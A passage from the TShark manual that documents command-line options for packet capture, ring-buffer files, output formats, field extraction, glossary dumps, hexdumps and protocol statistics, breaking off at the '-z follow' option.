duration:value Stop writing to a capture file after value seconds have elapsed. Floating point values (e.g. 0.5) are allowed.

files:value Stop writing to capture files after value number of files were written.

filesize:value Stop writing to a capture file after it reaches a size of value kB. If this option is used together with the -b option, TShark will stop writing to the current capture file and switch to the next one if filesize is reached. When reading a capture file, TShark will stop reading the file after the number of bytes read exceeds this number (the complete packet will be read, so more bytes than this number may be read). Note that the filesize is limited to a maximum value of 2 GiB.

packets:value switch to the next file after it contains value packets. This does not include any packets that do not pass the display filter, so it may differ from -c<capture packet count>.

-A <user>:<password>

Specify a user and a password when TShark captures from a rpcap:// interface where authentication is required.

This option is available with libpcap with enabled remote support.

-b|–ring-buffer <capture ring buffer option>

Cause TShark to run in “multiple files” mode. In “multiple files” mode, TShark will write to several capture files. When the first capture file fills up, TShark will switch writing to the next file and so on.

The created filenames are based on the filename given with the -w option, the number of the file and on the creation date and time, e.g. outfile_00001_20240714120117.pcap, outfile_00002_20240714120523.pcap, …

With the files option it’s also possible to form a “ring buffer”. This will fill up new files until the number of files specified, at which point TShark will discard the data in the first file and start writing to that file and so on. If the files option is not set, new files filled up until one of the capture stop conditions match (or until the disk is full).

The criterion is of the form key:value, where key is one of:

duration:value switch to the next file after value seconds have elapsed, even if the current file is not completely filled up. Floating point values (e.g. 0.5) are allowed.

files:value begin again with the first file after value number of files were written (form a ring buffer). This value must be less than 100000. Caution should be used when using large numbers of files: some filesystems do not handle many files in a single directory well. The files criterion requires either duration, interval or filesize to be specified to control when to go to the next file. It should be noted that each -b parameter takes exactly one criterion; to specify two criterion, each must be preceded by the -b option.

filesize:value switch to the next file after it reaches a size of value kB. Note that the filesize is limited to a maximum value of 2 GiB.

interval:value switch to the next file when the time is an exact multiple of value seconds. For example, use 3600 to switch to a new file every hour on the hour.

packets:value switch to the next file after it contains value packets.

nametimenum:value Choose between two save filename templates. If value is 1, make running file number part before start time part; this is the original and default behaviour (e.g. log_00001_20240714164426.pcap). If value is greater than 1, make start time part before running number part (e.g. log_20210828164426_00001.pcap). The latter makes alphabetical sorting order equal to creation time order, and keeps related multiple file sets in same directory close to each other.

Example: tshark -b filesize:1000 -b files:5 results in a ring buffer of five files of size one megabyte each.

-B|–buffer-size <capture buffer size>

Set capture buffer size (in MiB, default is 2 MiB). This is used by the capture driver to buffer packet data until that data can be written to disk. If you encounter packet drops while capturing, try to increase this size. Note that, while TShark attempts to set the buffer size to 2 MiB by default, and can be told to set it to a larger value, the system or interface on which you’re capturing might silently limit the capture buffer size to a lower value or raise it to a higher value.

This is available on UNIX-compatible systems, such as Linux, macOS, \BSD, Solaris, and AIX, with libpcap 1.0.0 or later, and on Windows. It is not available on UNIX-compatible systems with earlier versions of libpcap.

This option can occur multiple times. If used before the first occurrence of the -i option, it sets the default capture buffer size. If used after an -i option, it sets the capture buffer size for the interface specified by the last -i option occurring before this option. If the capture buffer size is not set specifically, the default capture buffer size is used instead.

-c <capture packet count>

Set the maximum number of packets to read when capturing live data. If reading a capture file, set the maximum number of packets to read. This includes any packets that do not pass the display filter, so it may differ from -a packets:<capture packet count>.

-C <configuration profile>

Run with the given configuration profile.

-D|–list-interfaces

Print a list of the interfaces on which TShark can capture, and exit. For each network interface, a number and an interface name, possibly followed by a text description of the interface, is printed. The interface name or the number can be supplied to the -i flag to specify an interface on which to capture. The number can be useful on Windows systems, where the interfaces have long names that usually contain a GUID.

-e <field>

Add a field to the list of fields to display if -T ek|fields|json|pdml is selected. This option can be used multiple times on the command line. At least one field must be provided if the -T fields option is selected. Column types may be used prefixed with “_ws.col.”

Example: tshark -e frame.number -e ip.addr -e udp -e _ws.col.info

Fields are separated by tab characters by default. -E controls the format of the printed fields. Giving a protocol rather than a single field will print the protocol summary (subtree label) from the packet details as a single field. If the protocol summary contains only the protocol name (e.g. “Hypertext Transfer Protocol”) then the protocol filter name (“http”) will be printed.

-E <field print option>

Set an option controlling the printing of fields when -T fields is selected.

Options are:

bom=y|n If y, prepend output with the UTF-8 byte order mark (hexadecimal ef, bb, bf). Defaults to n.

header=y|n If y, print a list of the field names given using -e as the first line of the output; the field name will be separated using the same character as the field values. Defaults to n.

separator=/t|/s|<character> Set the separator character to use for fields. If /t tab will be used (this is the default), if /s, a single space will be used. Otherwise any character that can be accepted by the command line as part of the option may be used.

occurrence=f|l|a Select which occurrence to use for fields that have multiple occurrences. If f the first occurrence will be used, if l the last occurrence will be used and if a all occurrences will be used (this is the default).

aggregator=,|/s|<character> Set the aggregator character to use for fields that have multiple occurrences. If , a comma will be used (this is the default), if /s, a single space will be used. Otherwise any character that can be accepted by the command line as part of the option may be used.

quote=d|s|n Set the quote character to use to surround fields. d uses double-quotes, s single-quotes, n no quotes (the default).

escape=y|n If y, the whitespace control characters (tab, line feed, carriage return, form feed, and vertical tab) and backspace will be replaced in field values by C-style escapes, e.g. " " for line feed. If n, field value strings will be printed as-is. Defaults to y.

-f <capture filter>

Set the capture filter expression.

This option can occur multiple times. If used before the first occurrence of the -i option, it sets the default capture filter expression. If used after an -i option, it sets the capture filter expression for the interface specified by the last -i option occurring before this option. If the capture filter expression is not set specifically, the default capture filter expression is used if provided.

Pre-defined capture filter names, as shown in the GUI menu item Capture→Capture Filters, can be used by prefixing the argument with “predef:”. Example: tshark -f “predef:MyPredefinedHostOnlyFilter”

-F <file format>

Set the file format of the output capture file written using the -w option. The output written with the -w option is raw packet data, not text, so there is no -F option to request text output. The option -F without a value will list the available formats.

-g

This option causes the output file(s) to be created with group-read permission (meaning that the output file(s) can be read by other members of the calling user’s group).

-G [ <report type> ]

The -G option will cause TShark to dump one of several types of glossaries and then exit. If no specific glossary type is specified, then the fields report will be generated by default. Using the report type of help lists all the current report types.

The available report types include:

column-formats Dumps the column formats understood by TShark. There is one record per line. The fields are tab-delimited.

Field 1

format string (e.g. “%rD”)

Field 2

text description of format string (e.g. “Dest port (resolved)”)

currentprefs Dumps a copy of the current preferences file to stdout.

decodes Dumps the “layer type”/“decode as” associations to stdout. There is one record per line. The fields are tab-delimited.

Field 1

layer type, e.g. “tcp.port”

Field 2

selector in decimal

Field 3

“decode as” name, e.g. “http”

defaultprefs Dumps a default preferences file to stdout.

dissectors Dumps a list of registered dissectors to stdout. There is one record per line. The fields are tab-delimited.

Field 1

dissector name

Field 2

dissector description

dissector-tables Dumps a list of dissector tables to stdout. There is one record per line. The fields are tab-delimited.

Field 1

dissector table name, e.g. “tcp.port”

Field 2

name used for the dissector table in the GUI

Field 3

type (textual representation of the ftenum type)

Field 4

base for display (for integer types)

Field 5

protocol name

Field 6

“decode as” support

elastic-mapping Dumps the ElasticSearch mapping file to stdout. Fields falling in the default case (string) won’t be mapped.

enterprises Dumps the IANA Private Enterprise Number (PEN) table.

fieldcount Dumps the number of header fields to stdout.

fields Dumps the contents of the registration database to stdout. An independent program can take this output and format it into nice tables or HTML or whatever. There is one record per line. Each record is either a protocol or a header field, differentiated by the first field. The fields are tab-delimited.

Protocols

Field 1

P

Field 2

descriptive protocol name

Field 3

protocol abbreviation

Header Fields

Field 1

F

Field 2

descriptive field name

Field 3

field abbreviation

Field 4

type (textual representation of the ftenum type)

Field 5

parent protocol abbreviation

Field 6

base for display (for integer types); “parent bitfield width” for FT_BOOLEAN

Field 7

bitmask: format: hex: 0x….

Field 8

blurb describing field

An optional search prefix argument can be given to fields, in which case the output is limited to protocols and fields whose abbreviation starts with the search prefix.

Search Output

Field 1

protocol or field abbreviation

Field 2

descriptive protocol or field name

folders Dumps various folders used by TShark. This is essentially the same data reported in Wireshark’s About | Folders tab. There is one record per line. The fields are tab-delimited.

Field 1

Folder type (e.g “Personal configuration:”)

Field 2

Folder location (e.g. “/home/vagrant/.config/wireshark/”)

ftypes Dumps the “ftypes” (fundamental types) understood by TShark. There is one record per line. The fields are tab-delimited.

Field 1

FTYPE (e.g “FT_IPv6”)

Field 2

text description of type (e.g. “IPv6 address”)

heuristic-decodes Dumps the heuristic decodes currently installed. There is one record per line. The fields are tab-delimited.

Field 1

underlying dissector (e.g. “tcp”)

Field 2

name of heuristic decoder (e.g. “ucp”)

Field 3

heuristic enabled (e.g. “T” or “F”)

Field 4

heuristic enabled by default (e.g. “T” or “F”)

Field 5

heuristic short name (e.g. “ucp_tcp”)

Field 6

heuristic display name (e.g. “UCP over TCP”)

help Displays the available report types.

manuf Dumps the MAC address lookup table in manuf format.

plugins Dumps the plugins currently installed. There is one record per line. The fields are tab-delimited.

Field 1

plugin library/Lua script/extcap executable (e.g. “gryphon.so”)

Field 2

plugin version (e.g. 0.0.4)

Field 3

plugin type (“dissector”, “tap”, “file type”, etc.)

Field 4

full path to plugin file

protocols Dumps the protocols in the registration database to stdout. An independent program can take this output and format it into nice tables or HTML or whatever. There is one record per line. The fields are tab-delimited.

Field 1

protocol name

Field 2

protocol short name

Field 3

protocol filter name

Field 4

protocol enabled (e.g. “T” or “F”)

Field 5

protocol enabled by default (e.g. “T” or “F”)

Field 6

protocol can toggle (e.g. “T” or “F”)

services Dumps the TCP, UDP, and SCTP transport service (port) table.

values Dumps the value_strings, range_strings or true/false strings for fields that have them. There is one record per line. Fields are tab-delimited. There are three types of records: Value String, Range String and True/False String. The first field, V, R or T, indicates the type of record.

Value Strings

Field 1

V

Field 2

field abbreviation to which this value string corresponds

Field 3

Integer value

Field 4

String

Range Strings

Field 1

R

Field 2

field abbreviation to which this range string corresponds

Field 3

Integer value: lower bound

Field 4

Integer value: upper bound

Field 5

String

True/False Strings

Field 1

T

Field 2

field abbreviation to which this true/false string corresponds

Field 3

True String

Field 4

False String

-h|–help

Print the version number and options and exit.

-H <input hosts file>

Read a list of entries from a “hosts” file, which will then be written to a capture file. Implies -W n. Can be called multiple times.

The “hosts” file format is documented at <https://en.wikipedia.org/wiki/Hosts_(file>).

-i|–interface <capture interface> | -

Set the name of the network interface or pipe to use for live packet capture.

Network interface names should match one of the names listed in “tshark -D” (described above); a number, as reported by “tshark -D”, can also be used.

If no interface is specified, TShark searches the list of interfaces, choosing the first non-loopback interface if there are any non-loopback interfaces, and choosing the first loopback interface if there are no non-loopback interfaces. If there are no interfaces at all, TShark reports an error and doesn’t start the capture.

Pipe names should be either the name of a FIFO (named pipe) or “-” to read data from the standard input. On Windows systems, pipe names must be of the form “.\pipe*pipename*”. Data read from pipes must be in standard pcapng or pcap format. Pcapng data must have the same endianness as the capturing host.

“TCP@<host>:<port>” causes TShark to attempt to connect to the specified port on the specified host and read pcapng or pcap data.

This option can occur multiple times. When capturing from multiple interfaces, the capture file will be saved in pcapng format.

-I|–monitor-mode

Put the interface in “monitor mode”; this is supported only on IEEE 802.11 Wi-Fi interfaces, and supported only on some operating systems.

Note that in monitor mode the adapter might disassociate from the network with which it’s associated, so that you will not be able to use any wireless networks with that adapter. This could prevent accessing files on a network server, or resolving host names or network addresses, if you are capturing in monitor mode and are not connected to another network with another adapter.

This option can occur multiple times. If used before the first occurrence of the -i option, it enables the monitor mode for all interfaces. If used after an -i option, it enables the monitor mode for the interface specified by the last -i option occurring before this option.

-j <protocol match filter>

Protocol match filter used for ek|json|jsonraw|pdml output file types. Only the protocol’s parent node is included. Child nodes are only included if explicitly specified in the filter.

Example: tshark -j “ip ip.flags http”

-J <protocol match filter>

Protocol top level filter used for ek|json|jsonraw|pdml output file types. The protocol’s parent node and all child nodes are included. Lower-level protocols must be explicitly specified in the filter.

Example: tshark -J “tcp http”

-l

Flush the standard output after the information for each packet is printed. (This is not, strictly speaking, line-buffered if -V was specified; however, it is the same as line-buffered if -V wasn’t specified, as only one line is printed for each packet, and, as -l is normally used when piping a live capture to a program or script, so that output for a packet shows up as soon as the packet is seen and dissected, it should work just as well as true line-buffering. We do this as a workaround for a deficiency in the Microsoft Visual C++ C library.)

This may be useful when piping the output of TShark to another program, as it means that the program to which the output is piped will see the dissected data for a packet as soon as TShark sees the packet and generates that output, rather than seeing it only when the standard output buffer containing that data fills up.

-L|–list-data-link-types

List the data link types supported by the interface and exit. The reported link types can be used for the -y option.

-o <preference>:<value>

Set a preference value, overriding the default value and any value read from a preference file. The argument to the option is a string of the form prefname:value, where prefname is the name of the preference (which is the same name that would appear in the preference file), and value is the value to which it should be set.

-O <protocols>

Similar to the -V option, but causes TShark to only show a detailed view of the comma-separated list of protocols specified, and show only the top-level detail line for all other protocols, rather than a detailed view of all protocols. Use the output of “tshark -G protocols” to find the abbreviations of the protocols you can specify.

-p|–no-promiscuous-mode

Don’t put the interface into promiscuous mode. Note that the interface might be in promiscuous mode for some other reason; hence, -p cannot be used to ensure that the only traffic that is captured is traffic sent to or from the machine on which TShark is running, broadcast traffic, and multicast traffic to addresses received by that machine.

This option can occur multiple times. If used before the first occurrence of the -i option, no interface will be put into the promiscuous mode. If used after an -i option, the interface specified by the last -i option occurring before this option will not be put into the promiscuous mode.

-P|–print

Decode and display the packet summary or details, even if writing raw packet data using the -w option, and even if packet output is otherwise suppressed with -Q.

-q

When capturing packets, don’t display the continuous count of packets captured that is normally shown when saving a capture to a file; instead, just display, at the end of the capture, a count of packets captured. On systems that support the SIGINFO signal, such as various BSDs, you can cause the current count to be displayed by typing your “status” character (typically control-T, although it might be set to “disabled” by default on at least some BSDs, so you’d have to explicitly set it to use it).

When reading a capture file, or when capturing and not saving to a file, don’t print packet information; this is useful if you’re using a -z option to calculate statistics and don’t want the packet information printed, just the statistics.

-Q

When capturing packets, don’t display, on the standard error, the initial message indicating on which interfaces the capture is being done, the continuous count of packets captured shown when saving a capture to a file, and the final message giving the count of packets captured. Only true errors are displayed on the standard error.

This outputs less than the -q option, so the interface name and total packet count and the end of a capture are not sent to stderr.

When reading a capture file, or when capturing and not saving to a file, don’t print packet information; this is useful if you’re using a -z option to calculate statistics and don’t want the packet information printed, just the statistics.

-r|–read-file <infile>

Read packet data from infile, can be any supported capture file format (including gzipped files). It is possible to use named pipes or stdin (-) here but only with certain (not compressed) capture file formats (in particular: those that can be read without seeking backwards).

-R|–read-filter <Read filter>

Cause the specified filter (which uses the syntax of read/display filters, rather than that of capture filters) to be applied during the first pass of analysis. Packets not matching the filter are not considered for future passes. Only makes sense with multiple passes, see -2. For regular filtering on single-pass dissect see -Y instead.

Note that forward-looking fields such as response in frame # cannot be used with this filter, since they will not have been calculated when this filter is applied.

-s|–snapshot-length <capture snaplen>

Set the default snapshot length to use when capturing live data. No more than snaplen bytes of each network packet will be read into memory, or saved to disk. A value of 0 specifies a snapshot length of 262144, so that the full packet is captured; this is the default.

This option can occur multiple times. If used before the first occurrence of the -i option, it sets the default snapshot length. If used after an -i option, it sets the snapshot length for the interface specified by the last -i option occurring before this option. If the snapshot length is not set specifically, the default snapshot length is used if provided.

-S <separator>

Set the line separator to be printed between packets.

-T ek|fields|json|jsonraw|pdml|ps|psml|tabs|text

Set the format of the output when viewing decoded packet data. The options are one of:

ek Newline delimited JSON format for bulk import into Elasticsearch. It can be used with -j or -J to specify which protocols to include or with -x to include raw hex-encoded packet data. If -P is specified it will print the packet summary only, with both -P and -V it will print the packet summary and packet details. If neither -P or -V are used it will print the packet details only. Example of usage to import data into Elasticsearch:

tshark -T ek -j “http tcp ip” -P -V -x -r file.pcap > file.json curl -H “Content-Type: application/x-ndjson” -XPOST http://elasticsearch:9200/_bulk –data-binary “@file.json”

Elastic requires a mapping file to be loaded as template for packets-* index in order to convert Wireshark types to elastic types. This file can be auto-generated with the command “tshark -G elastic-mapping”. Since the mapping file can be huge, protocols can be selected by using the option –elastic-mapping-filter:

tshark -G elastic-mapping –elastic-mapping-filter ip,udp,dns

fields The values of fields specified with the -e option, in a form specified by the -E option. For example,

tshark -T fields -E separator=, -E quote=d

would generate comma-separated values (CSV) output suitable for importing into your favorite spreadsheet program.

json JSON file format. It can be used with -j or -J to specify which protocols to include or with -x option to include raw hex-encoded packet data. Example of usage:

tshark -T json -r file.pcap tshark -T json -j “http tcp ip” -x -r file.pcap

jsonraw JSON file format including only raw hex-encoded packet data. It can be used with -j or -J to specify which protocols to include. Example of usage:

tshark -T jsonraw -r file.pcap tshark -T jsonraw -j “http tcp ip” -x -r file.pcap

pdml Packet Details Markup Language, an XML-based format for the details of a decoded packet. This information is equivalent to the packet details printed with the -V option. Using the –color option will add color attributes to pdml output. These attributes are nonstandard.

ps PostScript for a human-readable one-line summary of each of the packets, or a multi-line view of the details of each of the packets, depending on whether the -V option was specified.

psml Packet Summary Markup Language, an XML-based format for the summary information of a decoded packet. This information is equivalent to the information shown in the one-line summary printed by default. Using the –color option will add color attributes to pdml output. These attributes are nonstandard.

tabs Similar to the default text report except the human-readable one-line summary of each packet will include an ASCII horizontal tab (0x09) character as a delimiter between each column.

text Text of a human-readable one-line summary of each of the packets, or a multi-line view of the details of each of the packets, depending on whether the -V option was specified. This is the default.

–temp-dir <directory>

Specifies the directory into which temporary files (including capture files) are to be written. The default behavior on UNIX-compatible systems, such as Linux, macOS, \BSD, Solaris, and AIX, is to use the environment variable $TMPDIR if set, and the system default, typically /tmp, if it is not. On Windows, the %TEMP% environment variable is used, which typically defaults to %USERPROFILE%\AppData\Local\Temp.

-U <tap name>

PDUs export, exports PDUs from infile to outfile according to the tap name given. Use -Y to filter.

Enter an empty tap name "" or a tap name of ? to get a list of available names.

-v|–version

Print the full version information and exit.

-V

Cause TShark to print a view of the packet details.

-w <outfile> | -

Write raw packet data to outfile or to the standard output if outfile is -.

Note

-w provides raw packet data, not text. If you want text output you need to redirect stdout (e.g. using >), don’t use the -w option for this.

-W <file format option>

Save extra information in the file if the format supports it. For example,

tshark -F pcapng -W n

will save host name resolution records along with captured packets.

Future versions of TShark may automatically change the capture format to pcapng as needed.

The argument is a string that may contain the following letter:

n write network address resolution information (pcapng only)

-x

Cause TShark to print a hex and ASCII dump of the packet data after printing the summary and/or details, if either are also being displayed.

–hexdump <hexoption>

Cause TShark to print a hex and ASCII dump of the packet data with the ability to select which data sources to dump and how to format or exclude the ASCII dump text.

This option can be used multiple times where the data source <hexoption> is all or frames and the ASCII dump text <hexoption> is ascii, delimit, noascii.

Example: tshark … –hexdump frames –hexdump delimit …

all

Enable hexdump, generate hexdump blocks for all data sources associated with each frame. Used to negate earlier use of --hexdump frames. The -x option displays all data sources by default.

frames

Enable hexdump, generate hexdump blocks only for the frame data. Use this option to exclude, from hexdump output, any hexdump blocks for secondary data sources such as Bitstring tvb, Reassembled TCP, De-chunked entity body, etc.

ascii

Enable hexdump, with undelimited ASCII dump text. Used to negate earlier use of --hexdump delimit or --hexdump noascii. The -x option displays undelimited ASCII dump text by default.

delimit

Enable hexdump with the ASCII dump text delimited with | characters. This is useful to unambiguously determine the last of the hex byte text and start of the ASCII dump text.

noascii

Enable hexdump without printing any ASCII dump text.

help

Display –hexdump specific help then exit.

The use of –hexdump <hexoption> is particularly useful to generate output that can be used to create a pcap or pcapng file from a capture file type such as Microsoft NetMon 2.x which TShark and Wireshark can read but can not directly do a “Save as” nor export packets from.

Examples:

Generate hexdump output, with only the frame data source, with delimited ASCII dump text, with each frame hex block preceded by a human readable timestamp that is directly usable by the text2pcap utility:

tshark … –hexdump frames –hexdump delimit
-P -t ad -o gui.column.format:“Time”,"%t"
| text2pcap -n -t %F %T.%f - MYNEWPCAPNG

Generate hexdump output, with only the frame data source, with no ASCII dump text, with each frame hex block preceded by an epoch timestamp that is directly usable by the text2pcap utility:

tshark … –hexdump frames –hexdump noascii
-P -t e -o gui.column.format:“Time”,"%t"
| text2pcap -n -t %s.%f - MYNEWPCAPNG

-X <eXtension options>

Specify an option to be passed to a TShark module. The eXtension option is in the form extension_key:value, where extension_key can be:

lua_script:lua_script_filename tells TShark to load the given script in addition to the default Lua scripts.

lua_scriptnum:argument tells TShark to pass the given argument to the lua script identified by num, which is the number indexed order of the lua_script command. For example, if only one script was loaded with -X lua_script:my.lua, then -X lua_script1:foo will pass the string foo to the my.lua script. If two scripts were loaded, such as -X lua_script:my.lua and -X lua_script:other.lua in that order, then a -X lua_script2:bar would pass the string bar to the second lua script, namely other.lua.

read_format:file_format tells TShark to use the given file format to read in the file (the file given in the -r command option). Providing no file_format argument, or an invalid one, will produce a list of available file formats to use. For example,

tshark -r rtcp_broken.pcapng -X read_format:“MIME Files Format” -V

will display the internal file structure and allow access to the file-pcapng fields.

-y|–linktype <capture link type>

Set the data link type to use while capturing packets. The values reported by -L are the values that can be used.

This option can occur multiple times. If used before the first occurrence of the -i option, it sets the default capture link type. If used after an -i option, it sets the capture link type for the interface specified by the last -i option occurring before this option. If the capture link type is not set specifically, the default capture link type is used if provided.

-Y|–display-filter <displaY filter>

Cause the specified filter (which uses the syntax of read/display filters, rather than that of capture filters) to be applied before printing a decoded form of packets or writing packets to a file. Packets matching the filter are printed or written to file; packets that the matching packets depend upon (e.g., fragments), are not printed but are written to file; packets not matching the filter nor depended upon are discarded rather than being printed or written.

Use this instead of -R for filtering using single-pass analysis. If doing two-pass analysis (see -2) then only packets matching the read filter (if there is one) will be checked against this filter.

-M <auto session reset>

Automatically reset internal session when reached to specified number of packets. For example,

tshark -M 100000

will reset session every 100000 packets.

This feature does not support -2 two-pass analysis

-z <statistics>

Get TShark to collect various types of statistics and display the result after finishing reading the capture file. Use the -q option if you’re reading a capture file and only want the statistics printed, not any per-packet information.

Statistics are calculated independently of the normal per-packet output, unaffected by the main display filter. However, most have their own optional filter parameter, and only packets that match that filter (and any capture filter or read filter) will be used in the calculations.

Note that the -z proto option is different - it doesn’t cause statistics to be gathered and printed when the capture is complete, it modifies the regular packet summary output to include the values of fields specified with the option. Therefore you must not use the -q option, as that option would suppress the printing of the regular packet summary output, and must also not use the -V option, as that would cause packet detail information rather than packet summary information to be printed.

Some of the currently implemented statistics are:

-z help

Display all possible values for -z.

-z afp,srt[,filter]

Show Apple Filing Protocol service response time statistics.

-z ancp,tree[,filter]

Calculate statistics on Access Node Control Protocol message types and adjacency packet codes.

-z ansi_a,bsmap[,filter]

Count the number of ANSI A-I/F BSMAP messages of each type.

-z ansi_a,dtap[,filter]

Count the number of ANSI A-I/F DTAP messages of each type.

-z ansi_map[,filter]

Count the number of ANSI MAP messages of each type, and calculate the total number of bytes and average bytes of each message type.

-z asap,stat[,filter]

Calculate statistics on Aggregate Service Access Protocol (ASAP). For each ASAP message type, displays the number, rate, and share among all ASAP message types of both packets and bytes, and the first and last time that it is seen.

-z bacapp_instanceid,tree[,filter]

Calculate statistics on BACnet APDUs, collated by instance ID. Displayed information includes source and destination address and service type.

-z bacapp_ip,tree[,filter]

Calculate statistics on BACnet APDUs, collated by source and destination address. Displayed information includes service type, object ID, and instance ID.

-z bacapp_objectid,tree[,filter]

Calculate statistics on BACnet APDUs, collated by object ID. Displayed information includes source and destination address, service type, and instance ID.

-z bacapp_service,tree[,filter]

Calculate statistics on BACnet APDUs, collated by service type. Displayed information includes source and destination address, object ID, and instance ID.

-z calcappprotocol,stat[,filter]

Calculate statistics on the Calculation Application Protocol of Reliable Server Pooling. For each message type, displays the number, rate, and share among all message types of both packets and bytes, and the first and last time that it is seen.

-z camel,counter[,filter]

Count the number of CAMEL messages for each opcode.

-z camel,srt[,filter]

Collect requests/response SRT (Service Response Time) data for CAMEL. Data collected is number of request messages with corresponding response of each CAMEL message type, along with the minimum, maximum, and average response time.

-z collectd,tree[,filter]

Calculate statistics for collectd. The gathered statistics are the number of collectd packets and the total number of value segments, along with the host, plugin, and type of the values.

-z componentstatusprotocol,stat[,filter]

Calculate statistics on the Calculation Status Protocol of Reliable Server Pooling. For each message type, displays the number, rate and share among all message types of both packets and bytes, and the first and last time that it is seen.

-z conv,type[,filter]

Create a table that lists all conversations that could be seen in the capture. type specifies the conversation endpoint type for which we want to generate the statistics; currently the supported ones are:

“bluetooth” Bluetooth addresses “dccp” DCCP/IP socket pairs Both IPv4 and IPv6 are supported “eth” Ethernet addresses “fc” Fibre Channel addresses “fddi” FDDI addresses “ip” IPv4 addresses “ipv6” IPv6 addresses “ipx” IPX addresses “jxta” JXTA message addresses “mptcp” Multipath TCP connections “ncp” NCP connections “rsvp” RSVP connections “sctp” SCTP/IP socket pairs Both IPv4 and IPv6 are supported “sll” Linux “cooked mode” capture addresses “tcp” TCP/IP socket pairs Both IPv4 and IPv6 are supported “tr” Token Ring addresses “udp” UDP/IP socket pairs Both IPv4 and IPv6 are supported “usb” USB addresses “wlan” IEEE 802.11 addresses “wpan” IEEE 802.15.4 addresses “zbee_nwk” ZigBee Network Layer addresses

The table is presented with one line for each conversation which displays the number of frames/bytes in each direction, the total number of frames/bytes, relative start time and duration. The table is sorted according to the total number of frames.

-z credentials

Collect credentials (username/passwords) from packets. The report includes the packet number, the protocol that had that credential, the username and the password. For protocols just using one single field as authentication, this is provided as a password and a placeholder in place of the user. Currently implemented protocols include FTP, HTTP, IMAP, POP, and SMTP.

-z dcerpc,srt,uuid,major.minor[,filter]

Collect call/reply SRT (Service Response Time) data for DCERPC interface uuid, version major.minor. Data collected is the number of calls for each procedure, MinSRT, MaxSRT and AvgSRT.

Example: -z dcerpc,srt,12345778-1234-abcd-ef00-0123456789ac,1.0 will collect data for the CIFS SAMR Interface.

This option can be used multiple times on the command line.

Example: -z dcerpc,srt,12345778-1234-abcd-ef00-0123456789ac,1.0,ip.addr==1.2.3.4 will collect SAMR SRT statistics for a specific host.

-z dests,tree[,filter]

Calculate statistics on IPv4 destination addresses and the protocols and ports appearing on each address.

-z dhcp,stat[,filter]

Show DHCP (BOOTP) statistics.

-z diameter,avp[,cmd.code,field,field,]

This option enables extraction of most important diameter fields from large capture files. Exactly one text line for each diameter message with matched diameter.cmd.code will be printed.

Empty diameter command code or * can be specified to match any diameter.cmd.code

Example: -z diameter,avp extract default field set from diameter messages.

Example: -z diameter,avp,280 extract default field set from diameter DWR messages.

Example: -z diameter,avp,272 extract default field set from diameter CC messages.

Extract most important fields from diameter CC messages:

tshark -r file.cap.gz -q -z diameter,avp,272,CC-Request-Type,CC-Request-Number,Session-Id,Subscription-Id-Data,Rating-Group,Result-Code

Following fields will be printed out for each diameter message:

“frame” Frame number. “time” Unix time of the frame arrival. “src” Source address. “srcport” Source port. “dst” Destination address. “dstport” Destination port. “proto” Constant string diameter, which can be used for post processing of tshark output. E.g. grep/sed/awk. “msgnr” seq. number of diameter message within the frame. E.g. 2 for the third diameter message in the same frame. “is_request” 0 if message is a request, 1 if message is an answer. “cmd” diameter.cmd_code, E.g. 272 for credit control messages. “req_frame” Number of frame where matched request was found or 0. “ans_frame” Number of frame where matched answer was found or 0. “resp_time” response time in seconds, 0 in case if matched Request/Answer is not found in trace. E.g. in the begin or end of capture.

-z diameter,avp option is much faster than -V -T text or -T pdml options.

-z diameter,avp option is more powerful than -T field and -z proto,colinfo options.

Multiple diameter messages in one frame are supported.

Several fields with same name within one diameter message are supported, e.g. diameter.Subscription-Id-Data or diameter.Rating-Group.

Note: tshark -q option is recommended to suppress default TShark output.

-z diameter,srt[,filter]

Collect requests/response SRT (Service Response Time) data for Diameter. Data collected is number of request and response pairs of each Diameter command code, Minimum SRT, Maximum SRT, Average SRT, and Sum SRT. Currently no statistics are gathered on unpaired messages.

-z dns,tree[,filter]

Create a summary of the captured DNS packets. General information are collected such as qtype and qclass distribution. For some data (as qname length or DNS payload) max, min and average values are also displayed.

-z endpoints,type[,filter]

Create a table that lists all endpoints that could be seen in the capture. type specifies the endpoint type for which we want to generate the statistics; currently the supported ones are:

“bluetooth” Bluetooth addresses “dccp” DCCP/IP socket pairs Both IPv4 and IPv6 are supported “eth” Ethernet addresses “fc” Fibre Channel addresses “fddi” FDDI addresses “ip” IPv4 addresses “ipv6” IPv6 addresses “ipx” IPX addresses “jxta” JXTA message addresses “mptcp” Multipath TCP connections “ncp” NCP connections “rsvp” RSVP connections “sctp” SCTP/IP socket pairs Both IPv4 and IPv6 are supported “sll” Linux “cooked mode” capture addresses “tcp” TCP/IP socket pairs Both IPv4 and IPv6 are supported “tr” Token Ring addresses “udp” UDP/IP socket pairs Both IPv4 and IPv6 are supported “usb” USB addresses “wlan” IEEE 802.11 addresses “wpan” IEEE 802.15.4 addresses “zbee_nwk” ZigBee Network Layer addresses

The table is presented with one line for each endpoint which displays the total number of packets/bytes and the number of packets/bytes in each direction. The table is sorted according to the total number of packets.

-z enrp,stat[,filter]

Calculate statistics on Endpoint Handlespace Redundancy Protocol (ENRP). For each message type, displays the number, rate, and share among all message types of both packets and bytes, and the first and last time that it is seen.

-z expert[,error|,warn|,note|,chat|,comment][,filter]

Collects information about all expert info, and will display them in order, grouped by severity.

Example: -z expert,sip will show expert items of all severity for frames that match the sip protocol.

This option can be used multiple times on the command line.

Example: -z “expert,note,tcp” will only collect expert items for frames that include the tcp protocol, with a severity of note or higher.

-z f1ap,tree[,filter]

Calculate the distribution of F1AP packets, grouped by packet types.

-z f5_tmm_dist,tree[,filter]

Calculate the F5 Ethernet trailer Traffic Management Microkernel distribution. Displayed information is the number of packets and bytes, grouped by the TMM slot and number, whether packets are ingress or egress, and whether there is a flow ID and virtual server name, a flow ID without virtual server name, or no flow ID, along with total for all packets with F5 trailers.

-z f5_virt_dist,tree[,filter]

Calculate F5 Ethernet trailer Virtual Server distribution. Displayed information is the number of packets and bytes, grouped by the virtual server name if it exists, or by whether there is a flow ID or not if there is no virtual server name, as well as totals for all packets with F5 trailers.

-z fc,srt[,filter]

Collect requests/response SRT (Service Response Time) data for GTP. Data collected is the number of request/response pairs, minimum SRT, maximum SRT, average SRT, and sum SRT for each value of the Type field (next protocol). No statistics are gathered on unpaired messages.

-z flow,name,mode[,filter]

Displays the flow of data between two nodes. Output is the same as ASCII format saved from GUI.

name specifies the flow name. It can be one of:

any All frames icmp ICMP icmpv6 ICMPv6 lbm_uim UIM tcp TCP

mode specifies the address type. It can be one of:

standard Any address network Network address

Example: -z flow,tcp,network will show data flow for all TCP frames

-z follow,prot,mode,filter[,range]

